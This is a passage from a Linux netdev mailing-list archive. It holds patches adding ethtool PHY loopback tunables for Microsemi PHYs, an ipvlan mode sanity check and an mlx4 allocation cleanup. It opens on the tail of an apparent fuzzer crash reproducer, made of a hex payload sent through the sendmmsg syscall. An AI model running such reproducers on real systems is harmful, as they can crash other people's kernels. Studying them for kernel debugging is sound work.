"\x06\xed\x92\xd9\xb2\x76\xcb\xe6\x14\xd1\x72\xd1\x4e\x20\xed\x43"
"\x81\x67\x82\xf9\x87\xd4\x82\xd7\x98\xcf\x7f\xe0\x7a\x97\x0c\xd1"
"\xf7\x04\x11\x06\xef\x18\x44\xd0\xd3\x69\x04\x00\x42\x33\xc7\x40"
"\xdd\xca\x8e\xa3\x32\x52\x9d\x54\x31\x57\xcd\x01\x66\x33\xd2\x97"
"\xc6\xe6\xa6\x6c\x30\xf2\x8c\x80\xca\x75\xf1\x6b\x11\x71\xfd\x9b"
"\x05\x94\xf1\x56\x87\x40\xee\xb1\x7f\x0a\xb2\x9c\x92\x1a\xb0\xbc"
"\xb3\x18\x59\xb6\xb3\x84\x71\xdb\xff\x3e\x4c\x11\x4f\x7f\x04\x9f"
"\xdf\x7f\x09\xb7\xe2\xf0\x6f\xa9\x35\x22\x93\x09\x81\x18\xd7",
255));
r[38] = execute_syscall(__NR_sendmmsg, r[1], 0x20e73000ul, 0x1ul,
0x4004ul, 0, 0, 0, 0, 0);
}
int main()
{
setup_main_process();
int pid = do_sandbox_none();
int status = 0;
while (waitpid(pid, &status, __WALL) != pid) {
}
return 0;
}
^ permalink raw reply
* [PATCH net-next 0/3] Adding PHY Loopback tunable
From: Allan W. Nielsen @ 2016-11-28 13:23 UTC (permalink / raw)
To: netdev; +Cc: andrew, f.fainelli, raju.lakkaraju, allan.nielsen
Hi All,
This series add support for PHY Loopback tunable, and implement it
for MSCC phys.
To configure loopback, the ethtool_tunable structure is used. 'id' must be
set to 'ETHTOOL_PHY_LOOPBACK' and 'data' specifies the loopback type:
ETHTOOL_PHY_LOOPBACK_* (DISABLE, NEAR, FAR or EXTN).
Here is how to configure loopback using ethtool:
Ethtool Help: ethtool -h for PHY tunables
ethtool --set-phy-tunable DEVNAME Set PHY tunable
[ loopback off|near|far|extn ]
ethtool --get-phy-tunable DEVNAME Get PHY tunable
[ loopback ]
Ethtool ex:
ethtool --set-phy-tunable eth0 loopback near
ethtool --set-phy-tunable eth0 loopback far
ethtool --set-phy-tunable eth0 loopback extn
ethtool --set-phy-tunable eth0 loopback off
ethtool --get-phy-tunable eth0 loopback
Patches to ethtool will follow shortly.
The feature is tested on Beaglebone Black with VSC 8531 PHY.
Please review.
Best regards
Allan and Raju
Raju Lakkaraju (3):
ethtool: (uapi) Add ETHTOOL_PHY_LOOPBACK to PHY tunables
ethtool: Core impl for ETHTOOL_PHY_LOOPBACK tunable.
net: phy: Add Loopback support in Microsemi PHYs driver
drivers/net/phy/mscc.c | 118 +++++++++++++++++++++++++++++++++++++++++++
include/uapi/linux/ethtool.h | 8 +++
net/core/ethtool.c | 2 +
3 files changed, 128 insertions(+)
--
2.7.3
^ permalink raw reply
* [PATCH net-next 0/3] Adding PHY Loopback tunable
From: Allan W. Nielsen @ 2016-11-28 13:24 UTC (permalink / raw)
To: netdev; +Cc: andrew, f.fainelli, raju.lakkaraju, allan.nielsen
Hi All,
This series add support for PHY Loopback tunable, and implement it
for MSCC phys.
To configure loopback, the ethtool_tunable structure is used. 'id' must be
set to 'ETHTOOL_PHY_LOOPBACK' and 'data' specifies the loopback type:
ETHTOOL_PHY_LOOPBACK_* (DISABLE, NEAR, FAR or EXTN).
Here is how to configure loopback using ethtool:
Ethtool Help: ethtool -h for PHY tunables
ethtool --set-phy-tunable DEVNAME Set PHY tunable
[ loopback off|near|far|extn ]
ethtool --get-phy-tunable DEVNAME Get PHY tunable
[ loopback ]
Ethtool ex:
ethtool --set-phy-tunable eth0 loopback near
ethtool --set-phy-tunable eth0 loopback far
ethtool --set-phy-tunable eth0 loopback extn
ethtool --set-phy-tunable eth0 loopback off
ethtool --get-phy-tunable eth0 loopback
Patches to ethtool will follow shortly.
The feature is tested on Beaglebone Black with VSC 8531 PHY.
Please review.
Best regards
Allan and Raju
Raju Lakkaraju (3):
ethtool: (uapi) Add ETHTOOL_PHY_LOOPBACK to PHY tunables
ethtool: Core impl for ETHTOOL_PHY_LOOPBACK tunable.
net: phy: Add Loopback support in Microsemi PHYs driver
drivers/net/phy/mscc.c | 118 +++++++++++++++++++++++++++++++++++++++++++
include/uapi/linux/ethtool.h | 8 +++
net/core/ethtool.c | 2 +
3 files changed, 128 insertions(+)
--
2.7.3
^ permalink raw reply
* [PATCH net-next 3/3] net: phy: Add Loopback support in Microsemi PHYs driver
From: Allan W. Nielsen @ 2016-11-28 13:24 UTC (permalink / raw)
To: netdev; +Cc: andrew, f.fainelli, raju.lakkaraju, allan.nielsen, Raju Lakkaraju
In-Reply-To: <1480339472-5823-1-git-send-email-allan.nielsen@microsemi.com>
From: Raju Lakkaraju <Raju.Lakkaraju@microsemi.com>
Implements the loopback functionality for MSCC PHYs.
Signed-off-by: Raju Lakkaraju <Raju.Lakkaraju@microsemi.com>
Signed-off-by: Allan W. Nielsen <allan.nielsen@microsemi.com>
---
drivers/net/phy/mscc.c | 118 +++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 118 insertions(+)
diff --git a/drivers/net/phy/mscc.c b/drivers/net/phy/mscc.c
index 7a3740c..1f9bc72 100644
--- a/drivers/net/phy/mscc.c
+++ b/drivers/net/phy/mscc.c
@@ -27,6 +27,9 @@ enum rgmii_rx_clock_delay {
/* Microsemi VSC85xx PHY registers */
/* IEEE 802. Std Registers */
+#define MSCC_PHY_BYPASS_CONTROL 18
+#define DISABLE_PAIR_SWAP_CORR_MASK 0x0020
+
#define MSCC_PHY_EXT_PHY_CNTL_1 23
#define MAC_IF_SELECTION_MASK 0x1800
#define MAC_IF_SELECTION_GMII 0
@@ -35,6 +38,9 @@ enum rgmii_rx_clock_delay {
#define MAC_IF_SELECTION_POS 11
#define FAR_END_LOOPBACK_MODE_MASK 0x0008
+#define MSCC_PHY_EXT_PHY_CNTL_2 24
+#define CONNECTOR_LOOPBACK_MASK 0x0001
+
#define MII_VSC85XX_INT_MASK 25
#define MII_VSC85XX_INT_MASK_MASK 0xa000
#define MII_VSC85XX_INT_MASK_WOL 0x0040
@@ -110,6 +116,114 @@ static int vsc85xx_phy_page_set(struct phy_device *phydev, u8 page)
return rc;
}
+static int vsc85xx_loopback_get(struct phy_device *phydev, u8 *type)
+{
+ u16 reg_val;
+
+ reg_val = phy_read(phydev, MII_BMCR);
+ if (BMCR_LOOPBACK & reg_val) {
+ *type = ETHTOOL_PHY_LOOPBACK_NEAR;
+ goto out;
+ }
+
+ reg_val = phy_read(phydev, MSCC_PHY_EXT_PHY_CNTL_1);
+ if (FAR_END_LOOPBACK_MODE_MASK & reg_val) {
+ *type = ETHTOOL_PHY_LOOPBACK_FAR;
+ goto out;
+ }
+
+ reg_val = phy_read(phydev, MSCC_PHY_EXT_PHY_CNTL_2);
+ if (CONNECTOR_LOOPBACK_MASK & reg_val) {
+ *type = ETHTOOL_PHY_LOOPBACK_EXTN;
+ goto out;
+ }
+ *type = ETHTOOL_PHY_LOOPBACK_DISABLE;
+
+out:
+ return 0;
+}
+
+static int vsc85xx_loopback_set(struct phy_device *phydev, u8 type)
+{
+ int rc;
+ u16 reg_val;
+
+ /* Clear/Disable all Loopbacks first */
+ /* Disable Near End Loopback */
+ reg_val = phy_read(phydev, MII_BMCR);
+ if (reg_val & BMCR_LOOPBACK && type != ETHTOOL_PHY_LOOPBACK_NEAR) {
+ reg_val &= ~BMCR_LOOPBACK;
+ rc = phy_write(phydev, MII_BMCR, reg_val);
+ if (rc != 0)
+ goto out;
+ }
+
+ /* Disable Far End Loopback */
+ reg_val = phy_read(phydev, MSCC_PHY_EXT_PHY_CNTL_1);
+ if (reg_val & FAR_END_LOOPBACK_MODE_MASK &&
+ type != ETHTOOL_PHY_LOOPBACK_FAR) {
+ reg_val &= ~FAR_END_LOOPBACK_MODE_MASK;
+ rc = phy_write(phydev, MSCC_PHY_EXT_PHY_CNTL_1, reg_val);
+ if (rc != 0)
+ goto out;
+ }
+
+ /* Disable Connector End Loopback */
+ reg_val = phy_read(phydev, MSCC_PHY_EXT_PHY_CNTL_2);
+ if (reg_val & CONNECTOR_LOOPBACK_MASK &&
+ type != ETHTOOL_PHY_LOOPBACK_EXTN) {
+ reg_val &= ~CONNECTOR_LOOPBACK_MASK;
+ rc = phy_write(phydev, MSCC_PHY_EXT_PHY_CNTL_2, reg_val);
+ if (rc != 0)
+ goto out;
+ reg_val = phy_read(phydev, MSCC_PHY_BYPASS_CONTROL);
+ reg_val &= ~DISABLE_PAIR_SWAP_CORR_MASK;
+ rc = phy_write(phydev, MSCC_PHY_BYPASS_CONTROL, reg_val);
+ if (rc != 0)
+ goto out;
+ }
+
+ switch (type) {
+ case ETHTOOL_PHY_LOOPBACK_NEAR:
+ reg_val = phy_read(phydev, MII_BMCR);
+ reg_val |= BMCR_LOOPBACK;
+ rc = phy_write(phydev, MII_BMCR, reg_val);
+ if (rc != 0)
+ goto out;
+ break;
+ case ETHTOOL_PHY_LOOPBACK_FAR:
+ reg_val = phy_read(phydev, MSCC_PHY_EXT_PHY_CNTL_1);
+ reg_val |= FAR_END_LOOPBACK_MODE_MASK;
+ rc = phy_write(phydev, MSCC_PHY_EXT_PHY_CNTL_1, reg_val);
+ if (rc != 0)
+ goto out;
+ break;
+ case ETHTOOL_PHY_LOOPBACK_EXTN:
+ reg_val = phy_read(phydev, MSCC_PHY_EXT_PHY_CNTL_2);
+ reg_val |= CONNECTOR_LOOPBACK_MASK;
+ rc = phy_write(phydev, MSCC_PHY_EXT_PHY_CNTL_2, reg_val);
+ if (rc != 0)
+ goto out;
+ reg_val = phy_read(phydev, MSCC_PHY_BYPASS_CONTROL);
+ reg_val |= DISABLE_PAIR_SWAP_CORR_MASK;
+ rc = phy_write(phydev, MSCC_PHY_BYPASS_CONTROL, reg_val);
+ if (rc != 0)
+ goto out;
+ break;
+ case ETHTOOL_PHY_LOOPBACK_DISABLE:
+ /* Already disable all Loopbacks */
+ break;
+ default:
+ phydev_err(phydev, "Invalid Loopback Type (valid only off|near|far|extn)\n");
+ rc = -ERANGE;
+ break;
+ }
+
+out:
+
+ return rc;
+}
+
static int vsc85xx_downshift_get(struct phy_device *phydev, u8 *count)
{
int rc;
@@ -398,6 +512,8 @@ static int vsc85xx_get_tunable(struct phy_device *phydev,
switch (tuna->id) {
case ETHTOOL_PHY_DOWNSHIFT:
return vsc85xx_downshift_get(phydev, (u8 *)data);
+ case ETHTOOL_PHY_LOOPBACK:
+ return vsc85xx_loopback_get(phydev, (u8 *)data);
default:
return -EINVAL;
}
@@ -410,6 +526,8 @@ static int vsc85xx_set_tunable(struct phy_device *phydev,
switch (tuna->id) {
case ETHTOOL_PHY_DOWNSHIFT:
return vsc85xx_downshift_set(phydev, *(u8 *)data);
+ case ETHTOOL_PHY_LOOPBACK:
+ return vsc85xx_loopback_set(phydev, *(u8 *)data);
default:
return -EINVAL;
}
--
2.7.3
^ permalink raw reply related
* [PATCH net-next 2/3] ethtool: Core impl for ETHTOOL_PHY_LOOPBACK tunable.
From: Allan W. Nielsen @ 2016-11-28 13:24 UTC (permalink / raw)
To: netdev; +Cc: andrew, f.fainelli, raju.lakkaraju, allan.nielsen, Raju Lakkaraju
In-Reply-To: <1480339472-5823-1-git-send-email-allan.nielsen@microsemi.com>
From: Raju Lakkaraju <Raju.Lakkaraju@microsemi.com>
Adding validation support for the ETHTOOL_PHY_LOOPBACK. Functional
implementation needs to be done in the individual PHY drivers.
Signed-off-by: Raju Lakkaraju <Raju.Lakkaraju@microsemi.com>
Signed-off-by: Allan W. Nielsen <allan.nielsen@microsemi.com>
---
net/core/ethtool.c | 2 ++
1 file changed, 2 insertions(+)
diff --git a/net/core/ethtool.c b/net/core/ethtool.c
index e23766c..0542467 100644
--- a/net/core/ethtool.c
+++ b/net/core/ethtool.c
@@ -123,6 +123,7 @@ static const char
phy_tunable_strings[__ETHTOOL_PHY_TUNABLE_COUNT][ETH_GSTRING_LEN] = {
[ETHTOOL_ID_UNSPEC] = "Unspec",
[ETHTOOL_PHY_DOWNSHIFT] = "phy-downshift",
+ [ETHTOOL_PHY_LOOPBACK] = "phy-loopback",
};
static int ethtool_get_features(struct net_device *dev, void __user *useraddr)
@@ -2437,6 +2438,7 @@ static int ethtool_phy_tunable_valid(const struct ethtool_tunable *tuna)
{
switch (tuna->id) {
case ETHTOOL_PHY_DOWNSHIFT:
+ case ETHTOOL_PHY_LOOPBACK:
if (tuna->len != sizeof(u8) ||
tuna->type_id != ETHTOOL_TUNABLE_U8)
return -EINVAL;
--
2.7.3
^ permalink raw reply related
* [PATCH net-next 1/3] ethtool: (uapi) Add ETHTOOL_PHY_LOOPBACK to PHY tunables
From: Allan W. Nielsen @ 2016-11-28 13:24 UTC (permalink / raw)
To: netdev; +Cc: andrew, f.fainelli, raju.lakkaraju, allan.nielsen, Raju Lakkaraju
In-Reply-To: <1480339472-5823-1-git-send-email-allan.nielsen@microsemi.com>
From: Raju Lakkaraju <Raju.Lakkaraju@microsemi.com>
3 types of PHY loopback are supported.
i.e. Near-End Loopback, Far-End Loopback and External Loopback.
Near-End Loopback:
Transmitted data (TXD) is looped back in the PCS block onto the receive
data signal (RXD). When Near-End loopback enable, no data is transmitted
over the network. no data receive from the network.
Far-End Loopback:
This loopback is a special test mode to allow testing the PHY from link
partner side. In this mode data that is received from the link partner pass
through the PHY's receiver, looped back on the MII and transmitted back to
the link partner.
Data present on the transmit data pins of the MAC interface is ignored when
using this test.
External Loopback:
An RJ45 loopback cable can be used to route the transmit signals an the
output of the trnsformer back to the receiver inputs. This loopback will
work at either 10 or 100 or 1000 Mbps speed.
RJ45 Loopback cable created by conncting pin 1 to pin 3 and connecting pin
2 to pin 6.
Signed-off-by: Raju Lakkaraju <Raju.Lakkaraju@microsemi.com>
Signed-off-by: Allan W. Nielsen <allan.nielsen@microsemi.com>
---
include/uapi/linux/ethtool.h | 8 ++++++++
1 file changed, 8 insertions(+)
diff --git a/include/uapi/linux/ethtool.h b/include/uapi/linux/ethtool.h
index f0db778..59629f5 100644
--- a/include/uapi/linux/ethtool.h
+++ b/include/uapi/linux/ethtool.h
@@ -254,6 +254,7 @@ struct ethtool_tunable {
enum phy_tunable_id {
ETHTOOL_PHY_ID_UNSPEC,
ETHTOOL_PHY_DOWNSHIFT,
+ ETHTOOL_PHY_LOOPBACK,
/*
* Add your fresh new phy tunable attribute above and remember to update
* phy_tunable_strings[] in net/core/ethtool.c
@@ -261,6 +262,13 @@ enum phy_tunable_id {
__ETHTOOL_PHY_TUNABLE_COUNT,
};
+enum phy_loopback_type {
+ ETHTOOL_PHY_LOOPBACK_DISABLE,
+ ETHTOOL_PHY_LOOPBACK_NEAR,
+ ETHTOOL_PHY_LOOPBACK_FAR,
+ ETHTOOL_PHY_LOOPBACK_EXTN
+};
+
/**
* struct ethtool_regs - hardware register dump
* @cmd: Command number = %ETHTOOL_GREGS
--
2.7.3
^ permalink raw reply related
* [PATCH net-next 1/1] driver: ipvlan: Add the sanity check for ipvlan mode
From: fgao @ 2016-11-28 13:23 UTC (permalink / raw)
To: davem, maheshb, edumazet, netdev, gfree.wind; +Cc: Gao Feng
From: Gao Feng <fgao@ikuai8.com>
The ipvlan mode variable "nval" is from userspace, so the ipvlan codes
should check if the mode variable "nval" is valid.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
---
drivers/net/ipvlan/ipvlan_main.c | 3 +++
1 file changed, 3 insertions(+)
diff --git a/drivers/net/ipvlan/ipvlan_main.c b/drivers/net/ipvlan/ipvlan_main.c
index ab90b22..537b5a9 100644
--- a/drivers/net/ipvlan/ipvlan_main.c
+++ b/drivers/net/ipvlan/ipvlan_main.c
@@ -65,6 +65,9 @@ static int ipvlan_set_port_mode(struct ipvl_port *port, u16 nval)
struct net_device *mdev = port->dev;
int err = 0;
+ if (nval >= IPVLAN_MODE_MAX)
+ return -EINVAL;
+
ASSERT_RTNL();
if (port->mode != nval) {
if (nval == IPVLAN_MODE_L3S) {
--
1.9.1
^ permalink raw reply related
* [PATCH ethtool 0/2] Adding PHY Loopback tunable
From: Allan W. Nielsen @ 2016-11-28 13:25 UTC (permalink / raw)
To: netdev; +Cc: linville, andrew, f.fainelli, raju.lakkaraju, allan.nielsen
Hi All,
This patch implements for support for PHY Loopback using PHY-Tunables.
The patch will add the following options:
ethtool --set-phy-tunable DEVNAME Set PHY tunable
[ loopback off|near|far|extn ]
ethtool --get-phy-tunable DEVNAME Get PHY tunable
[ loopback ]
Please review.
Best regards
Allan and Raju
Raju Lakkaraju (2):
ethtool-copy.h:sync with net
Ethtool: Implements PHY Loopback
ethtool-copy.h | 23 +++++++++-
ethtool.8.in | 49 ++++++++++++++++++++
ethtool.c | 139 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
3 files changed, 210 insertions(+), 1 deletion(-)
--
2.7.3
^ permalink raw reply
* [PATCH ethtool 1/2] ethtool-copy.h:sync with net
From: Allan W. Nielsen @ 2016-11-28 13:25 UTC (permalink / raw)
To: netdev
Cc: linville, andrew, f.fainelli, raju.lakkaraju, allan.nielsen,
Raju Lakkaraju
In-Reply-To: <1480339512-5882-1-git-send-email-allan.nielsen@microsemi.com>
From: Raju Lakkaraju <Raju.Lakkaraju@microsemi.com>
This covers kernel changes upto:
commit ef05e4c22648c141298f51aab00eb22066838b47
Author: Raju Lakkaraju <Raju.Lakkaraju@microsemi.com>
Date: Wed Nov 23 15:20:28 2016 +0530
ethtool: (uapi) Add ETHTOOL_PHY_LOOPBACK to PHYtunables
3 types of PHY loopback are supported.
i.e. Near-End Loopback, Far-End Loopback and External Loopback.
Near-End Loopback:
Transmitted data (TXD) is looped back in the PCS block onto the receive
data signal (RXD). When Near-End loopback enable, no data is transmitted
over the network. no data receive from the network.
Far-End Loopback:
This loopback is a special test mode to allow testing the PHY from link
partner side. In this mode data that is received from the link partner pass
through the PHY's receiver, looped back on the MII and transmitted back to
the link partner.
Data present on the transmit data pins of the MAC interface is ignored when
using this test.
External Loopback:
An RJ45 loopback cable can be used to route the transmit signals an the
output of the trnsformer back to the receiver inputs and this loopback will
work at either 10 or 100 or 1000 Mbps speed.
RJ45 Loopback cable created by conncting pin 1 to pin 3 and connecting pin
2 to pin 6.
Signed-off-by: Raju Lakkaraju <Raju.Lakkaraju@microsemi.com>
Signed-off-by: Allan W. Nielsen <allan.nielsen@microsemi.com>
---
ethtool-copy.h | 23 ++++++++++++++++++++++-
1 file changed, 22 insertions(+), 1 deletion(-)
diff --git a/ethtool-copy.h b/ethtool-copy.h
index 70748f5..1ebdc72 100644
--- a/ethtool-copy.h
+++ b/ethtool-copy.h
@@ -247,6 +247,24 @@ struct ethtool_tunable {
void *data[0];
};
+enum phy_tunable_id {
+ ETHTOOL_PHY_ID_UNSPEC,
+ ETHTOOL_PHY_DOWNSHIFT,
+ ETHTOOL_PHY_LOOPBACK,
+ /*
+ * Add your fresh new phy tunable attribute above and remember to update
+ * phy_tunable_strings[] in net/core/ethtool.c
+ */
+ __ETHTOOL_PHY_TUNABLE_COUNT,
+};
+
+enum phy_loopback_type {
+ ETHTOOL_PHY_LOOPBACK_DISABLE,
+ ETHTOOL_PHY_LOOPBACK_NEAR,
+ ETHTOOL_PHY_LOOPBACK_FAR,
+ ETHTOOL_PHY_LOOPBACK_EXTN
+};
+
/**
* struct ethtool_regs - hardware register dump
* @cmd: Command number = %ETHTOOL_GREGS
@@ -547,6 +565,7 @@ struct ethtool_pauseparam {
* @ETH_SS_FEATURES: Device feature names
* @ETH_SS_RSS_HASH_FUNCS: RSS hush function names
* @ETH_SS_PHY_STATS: Statistic names, for use with %ETHTOOL_GPHYSTATS
+ * @ETH_SS_PHY_TUNABLES: PHY tunable names
*/
enum ethtool_stringset {
ETH_SS_TEST = 0,
@@ -557,6 +576,7 @@ enum ethtool_stringset {
ETH_SS_RSS_HASH_FUNCS,
ETH_SS_TUNABLES,
ETH_SS_PHY_STATS,
+ ETH_SS_PHY_TUNABLES,
};
/**
@@ -1312,7 +1332,8 @@ struct ethtool_per_queue_op {
#define ETHTOOL_GLINKSETTINGS 0x0000004c /* Get ethtool_link_settings */
#define ETHTOOL_SLINKSETTINGS 0x0000004d /* Set ethtool_link_settings */
-
+#define ETHTOOL_PHY_GTUNABLE 0x0000004e /* Get PHY tunable configuration */
+#define ETHTOOL_PHY_STUNABLE 0x0000004f /* Set PHY tunable configuration */
/* compatibility with older code */
#define SPARC_ETH_GSET ETHTOOL_GSET
--
2.7.3
^ permalink raw reply related
* [PATCH ethtool 2/2] Ethtool: Implements PHY Loopback
From: Allan W. Nielsen @ 2016-11-28 13:25 UTC (permalink / raw)
To: netdev
Cc: linville, andrew, f.fainelli, raju.lakkaraju, allan.nielsen,
Raju Lakkaraju
In-Reply-To: <1480339512-5882-1-git-send-email-allan.nielsen@microsemi.com>
From: Raju Lakkaraju <Raju.Lakkaraju@microsemi.com>
Add loopback in ethtool tunables to access PHY drivers.
Ethtool Help: ethtool -h for PHY tunables
ethtool --set-phy-tunable DEVNAME Set PHY tunable
[ loopback off|near|far|extn ]
ethtool --get-phy-tunable DEVNAME Get PHY tunable
[ loopback ]
Ethtool ex:
ethtool --set-phy-tunable eth0 loopback near
ethtool --set-phy-tunable eth0 loopback far
ethtool --set-phy-tunable eth0 loopback extn
ethtool --set-phy-tunable eth0 loopback off
ethtool --get-phy-tunable eth0 loopback
Signed-off-by: Raju Lakkaraju <Raju.Lakkaraju@microsemi.com>
Signed-off-by: Allan W. Nielsen <allan.nielsen@microsemi.com>
---
ethtool.8.in | 49 +++++++++++++++++++++
ethtool.c | 139 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 files changed, 188 insertions(+)
diff --git a/ethtool.8.in b/ethtool.8.in
index 9631847..83e6b97 100644
--- a/ethtool.8.in
+++ b/ethtool.8.in
@@ -340,6 +340,15 @@ ethtool \- query or control network driver and hardware settings
.B2 tx-lpi on off
.BN tx-timer
.BN advertise
+.HP
+.B ethtool \-\-set\-phy\-tunable
+.I devname
+.B4 loopback off near far extn
+.HP
+.B ethtool \-\-get\-phy\-tunable
+.I devname
+.RB [ loopback ]
+.HP
.
.\" Adjust lines (i.e. full justification) and hyphenate.
.ad
@@ -947,6 +956,46 @@ Values are as for
Sets the amount of time the device should stay in idle mode prior to asserting
its Tx LPI (in microseconds). This has meaning only when Tx LPI is enabled.
.RE
+.TP
+.B \-\-set\-phy\-tunable
+Sets the PHY tunable parameters.
+.RS 4
+.TP
+.A4 loopback off near far extn
+Specifies whether the type of loopback should be enabled
+.RE
+.TP
+.B \-\-get\-phy\-tunable
+Gets the PHY tunable parameters.
+.RS 4
+.TP
+.B loopback
+PHY supports 3 types of the Loopbacks. i.e near, far and external.
+
+Near-End Loopback:
+Transmitted data (TXD) is looped back in the PCS block onto the receive data
+signal (RXD). When Near-End loopback enable, no data is transmitted over
+the network. no data receive from the network.
+
+Far-End Loopback:
+This loopback is a special test mode to allow testing the PHY from link
+partner side. In this mode data that is received from the link partner pass
+through the PHY's receiver, looped back on the MII and transmitted back to
+the link partner.
+
+External Loopback:
+An RJ45 loopback cable can be used to route the transmit signals an the
+output of the trnsformer back to the receiver inputs and this loopback will
+work at either 10 or 100 or 1000 Mbps speed.
+RJ45 Loopback cable created by conncting pin 1 to pin 3 and connecting pin
+2 to pin 6.
+
+Gets the PHY Loopback status.
+.TS
+.PD
+.RE
+.TE
+.RE
.SH BUGS
Not supported (in part or whole) on all network drivers.
.SH AUTHOR
diff --git a/ethtool.c b/ethtool.c
index 62f86ef..a4e6c0d 100644
--- a/ethtool.c
+++ b/ethtool.c
@@ -4522,6 +4522,141 @@ static int do_seee(struct cmd_context *ctx)
return 0;
}
+static int do_get_phy_tunable(struct cmd_context *ctx)
+{
+ int argc = ctx->argc;
+ char **argp = ctx->argp;
+ int err = 0, i;
+ u8 lpbk_changed = 0;
+ struct ethtool_tunable tunable;
+
+ if (argc < 1)
+ exit_bad_args();
+ for (i = 0; i < argc; i++) {
+ if (!strcmp(argp[i], "loopback")) {
+ lpbk_changed = 1;
+ i += 1;
+ if (i < argc)
+ exit_bad_args();
+ } else {
+ exit_bad_args();
+ }
+ }
+
+ if (lpbk_changed) {
+ u8 type;
+
+ tunable.cmd = ETHTOOL_PHY_GTUNABLE;
+ tunable.id = ETHTOOL_PHY_LOOPBACK;
+ tunable.type_id = ETHTOOL_TUNABLE_U8;
+ tunable.len = 1;
+ tunable.data[0] = &type;
+ err = send_ioctl(ctx, &tunable);
+ if (err < 0) {
+ perror("Cannot Get PHY Loopback status");
+ return 87;
+ }
+ type = *((u8 *)&tunable.data[0]);
+ switch (type) {
+ case ETHTOOL_PHY_LOOPBACK_NEAR:
+ fprintf(stdout, "Near-end Loopback enabled\n");
+ break;
+ case ETHTOOL_PHY_LOOPBACK_FAR:
+ fprintf(stdout, "Far-end Loopback enabled\n");
+ break;
+ case ETHTOOL_PHY_LOOPBACK_EXTN:
+ fprintf(stdout, "External Loopback enabled\n");
+ break;
+ case ETHTOOL_PHY_LOOPBACK_DISABLE:
+ fprintf(stdout, "All PHY Loopbacks disabled\n");
+ break;
+ default:
+ fprintf(stdout, "Invalid Loopback type\n");
+ break;
+ }
+ }
+
+ return err;
+}
+
+static int parse_named_flag(struct cmd_context *ctx, const char *name,
+ const struct flag_info *flags, size_t size,
+ u8 *type)
+{
+ size_t idx;
+ int found = 0;
+
+ if (ctx->argc < 2)
+ return 0;
+
+ if (strcmp(*ctx->argp, name))
+ return 0;
+ ctx->argc -= 1;
+ ctx->argp += 1;
+
+ for (idx = 0; idx < size; idx++) {
+ if (!strcmp(flags[idx].name, *ctx->argp)) {
+ *type = flags[idx].value;
+ ctx->argc -= 1;
+ ctx->argp += 1;
+ found = 1;
+ break;
+ }
+ }
+
+ if (!found)
+ exit_bad_args();
+
+ return 1;
+}
+
+static const struct flag_info lpbk_flags[] = {
+ { "off", ETHTOOL_PHY_LOOPBACK_DISABLE },
+ { "near", ETHTOOL_PHY_LOOPBACK_NEAR },
+ { "far", ETHTOOL_PHY_LOOPBACK_FAR },
+ { "extn", ETHTOOL_PHY_LOOPBACK_EXTN },
+};
+
+static int do_set_phy_tunable(struct cmd_context *ctx)
+{
+ int err = 0;
+ u8 lpbk_changed = 0, lpbk_type = ETHTOOL_PHY_LOOPBACK_DISABLE;
+ struct ethtool_tunable tunable;
+
+ if (ctx->argc == 0)
+ exit_bad_args();
+
+ /* Parse arguments */
+ while (ctx->argc) {
+ if (parse_named_flag(ctx, "loopback", lpbk_flags,
+ ARRAY_SIZE(lpbk_flags),
+ &lpbk_type)) {
+ lpbk_changed = 1;
+ } else {
+ exit_bad_args();
+ }
+ }
+
+ /* Do it */
+ if (lpbk_changed) {
+ u8 type;
+
+ tunable.cmd = ETHTOOL_PHY_STUNABLE;
+ tunable.id = ETHTOOL_PHY_LOOPBACK;
+ tunable.type_id = ETHTOOL_TUNABLE_U8;
+ tunable.len = sizeof(type);
+ tunable.data[0] = &type;
+ *((u8 *)&tunable.data[0]) = lpbk_type;
+ err = send_ioctl(ctx, &tunable);
+ if (err < 0) {
+ perror("Cannot Set PHY Loopback");
+ err = 87;
+ }
+ }
+
+ return err;
+}
+
#ifndef TEST_ETHTOOL
int send_ioctl(struct cmd_context *ctx, void *cmd)
{
@@ -4683,6 +4818,10 @@ static const struct option {
" [ advertise %x ]\n"
" [ tx-lpi on|off ]\n"
" [ tx-timer %d ]\n"},
+ { "--set-phy-tunable", 1, do_set_phy_tunable, "Set PHY tunable",
+ " [ loopback off|near|far|extn ]\n"},
+ { "--get-phy-tunable", 1, do_get_phy_tunable, "Get PHY tunable",
+ " [ loopback ]\n"},
{ "-h|--help", 0, show_usage, "Show this help" },
{ "--version", 0, do_version, "Show version number" },
{}
--
2.7.3
^ permalink raw reply related
* [PATCH] ethernet :mellanox :mlx4: Replace pci_pool_alloc by pci_pool_zalloc
From: Souptick Joarder @ 2016-11-28 13:28 UTC (permalink / raw)
To: yishaih-VPRAkNaXOzVWk0Htik3J/w
Cc: netdev-u79uwXL29TY76Z2rM5mHXA, linux-rdma-u79uwXL29TY76Z2rM5mHXA,
sahu.rameshwar73-Re5JQEeQqe8AvxtiuMwx3w
In mlx4_alloc_cmd_mailbox(), pci_pool_alloc() followed by memset will be
replaced by pci_pool_zalloc()
Signed-off-by: Souptick joarder <jrdr.linux-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
---
drivers/net/ethernet/mellanox/mlx4/cmd.c | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/drivers/net/ethernet/mellanox/mlx4/cmd.c b/drivers/net/ethernet/mellanox/mlx4/cmd.c
index e36bebc..ee3bd76 100644
--- a/drivers/net/ethernet/mellanox/mlx4/cmd.c
+++ b/drivers/net/ethernet/mellanox/mlx4/cmd.c
@@ -2679,14 +2679,13 @@ struct mlx4_cmd_mailbox *mlx4_alloc_cmd_mailbox(struct mlx4_dev *dev)
if (!mailbox)
return ERR_PTR(-ENOMEM);
- mailbox->buf = pci_pool_alloc(mlx4_priv(dev)->cmd.pool, GFP_KERNEL,
+ mailbox->buf = pci_pool_zalloc(mlx4_priv(dev)->cmd.pool, GFP_KERNEL,
&mailbox->dma);
if (!mailbox->buf) {
kfree(mailbox);
return ERR_PTR(-ENOMEM);
}
- memset(mailbox->buf, 0, MLX4_MAILBOX_SIZE);
return mailbox;
}
--
1.9.1
--
To unsubscribe from this list: send the line "unsubscribe linux-rdma" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply related
* [PATCH] ethernet :mellanox :mlx5: Replace pci_pool_alloc by pci_pool_zalloc
From: Souptick Joarder @ 2016-11-28 13:37 UTC (permalink / raw)
